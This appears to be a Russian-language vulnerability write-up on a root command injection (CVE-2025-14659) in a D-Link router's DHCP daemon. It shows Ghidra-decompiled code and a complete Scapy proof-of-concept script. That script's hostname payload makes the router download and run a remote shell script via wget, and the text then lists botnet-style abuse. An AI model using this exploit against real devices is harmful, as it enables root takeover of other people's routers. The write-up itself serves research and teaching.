
Статический анализ (Ghidra) и создание пользовательских пакетов (Scapy), демонстрирующие уязвимость внедрения команд DHCP на уровне root (CVE-2025-14659) в прошивке D-Link
Автор: Peter Lin
Дата: Май 2026
Описание проекта: CVE-2025-14659 сообщает об уязвимости внедрения команд в компоненте DHCP-демона, присутствующем в беспроводном маршрутизаторе D-Link DIR-860LB1 с прошивкой v203b03. Данное внедрение команд может позволить злоумышленнику выполнить произвольные команды с правами root на целевом маршрутизаторе, когда DHCP-клиент продлевает существующую аренду с вредоносным именем хоста. Я извлеку прошивку устройства DIR-860LB1 и выявлю уязвимость в DHCP-демоне (udhcpd) с помощью статического анализа в Ghidra. Затем я задействую эмуляционный движок, такой как FirmAE, для эмуляции среды этого маршрутизатора, демонстрируя proof of concept атаки на данную цель.
udhcpd (DHCP-демон)При рассмотрении функции udhcpd_main в Ghidra уязвимость находится прямо внутри блока case 3 (DHCPREQUEST):
get_option(auStack_254, 0xc).sprintf():
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() без очистки символов оболочки:
system(acStack_454);
Поскольку демон работает с правами root, добавление метасимволов оболочки (таких как ; или |) в имя хоста позволяет злоумышленнику выполнять произвольные системные команды.
cve_poc.py)Этот рабочий скрипт на Scapy имитирует вредоносного клиента, запрашивающего продление аренды с внедрённой полезной нагрузкой в имени хоста:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
При эксплуатации в реальных условиях злоумышленник может использовать эту уязвимость для:
/tmp) для включения устройства в DDoS-сети.Отказ от ответственности: Этот проект создан строго в образовательных целях, для формирования портфолио и исследований в области защитной безопасности.